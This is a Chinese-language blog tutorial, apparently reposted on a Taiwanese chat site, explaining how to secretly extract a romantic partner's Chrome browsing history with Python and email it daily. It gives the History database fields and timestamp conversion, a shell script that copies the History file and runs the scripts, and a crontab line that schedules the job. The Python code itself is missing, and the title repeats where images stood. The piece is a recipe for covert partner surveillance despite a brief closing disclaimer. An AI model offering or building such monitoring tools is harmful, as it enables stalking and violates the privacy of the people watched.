想知道馬子/男朋友每天都在看哪些網站麼,用Python就可以了!

尋夢新聞LINE@每日推播熱門推薦文章,趣聞不漏接❤️

加入LINE好友

本案例做到的功能:

(1) 獲取你對象chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt文件中

(2)將這個txt文件發送給指定的郵箱地址(你的郵箱)

(3)建立例行任務,每天定時自動完成這些操作,你就可以通過郵件查看你對象每天看什麼了

Python學習資料或者需要代碼、視頻加Python學習群:960410445

前期準備

Python3.6

Chrome

發送郵件的qq郵箱地址

qq郵箱授權碼

SMTP服務器地址

接受郵件的郵箱地址

想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以瞭!

做到過程

(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數據組成

從表中可以看出,我們要的網址和訪問時間就在urls.url和urls.last_visit_time中

想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以瞭!

(2) get_history.py:

想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以瞭!

通過這個腳本,我們可以把url和訪問時間提取出來,並且存儲在result.txt中,下圖就是我得到的部分結果

想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以瞭!

(3) send_email.py:

想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以瞭!

通過這個腳本,我們可以把result.txt作為附件,發送給指定郵箱地址,下圖是我得到的部分結果

想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以瞭!

(4) ./start.sh :

其實,前面幾個腳本,已經完成了我們的任務,但是每次都執行這麼多腳本,太麻煩了,我們可以把這些腳本的執行語句整理成一個shell腳本。

cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/

python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py

python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣,我們在終端執行./start.sh,系統就會幫我們把這三條語句依次執行了

注意:由於crontab命令需要絕對路徑,所以這里的路徑都是用絕對路徑

(5) crontab :

如果使用了這個命令,在電腦開機並且聯網的情況,系統會自動執行,然後把結果發到你的郵箱

使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說明:前面兩個數字,就是你每天執行這個腳本的時間,我這里設置的是14:20。

重要的事再說一遍,一定要寫絕對路徑!!!

問題:

1.server.login(from_addr, password)函數中的password不是郵箱密碼,在qq郵箱中,指的是授權碼

答:qq郵箱授權碼

2.訪問History數據庫時,顯示The database is locked!

答:

有兩種解決辦法:

(1)關閉瀏覽器,再去訪問

(2)把History拷貝到其他文件夾中,然後訪問該文件夾下的History

3.timestamp時間戳怎麼轉換的

答:last_visit_time是微秒,所以要除以10^6;

last_visit_time的起始值是1601年1月1日0時0分0秒,所以要減去11644473600;

篩選昨天的數據:現在的日期與last_visit_time的差值小於1的數據,就是距離當前時

間小於1天的數據

4.crontab出錯

答:crontab中所有路徑都要寫絕對路徑,包括py腳本中的路徑也要寫絕對路徑!

5.路徑問題

答:大家在復現的時候,要注意把路徑改成自己電腦上的,還有那個郵箱相關的信息也要改成自己的。

總結:

1.運用python連接SQLite數據庫,並執行sql操作

2.運用python發送郵件

3.運用shell和crontab建立自動化例行任務

4.看別人隱私是不對的,這篇文章只是我自己瞎玩的,實際可行性不強

About 尋夢園
尋夢園是台灣最大的聊天室及交友社群網站。 致力於發展能夠讓會員們彼此互動、盡情分享自我的平台。 擁有數百間不同的聊天室 ,讓您隨時隨地都能找到志同道合的好友!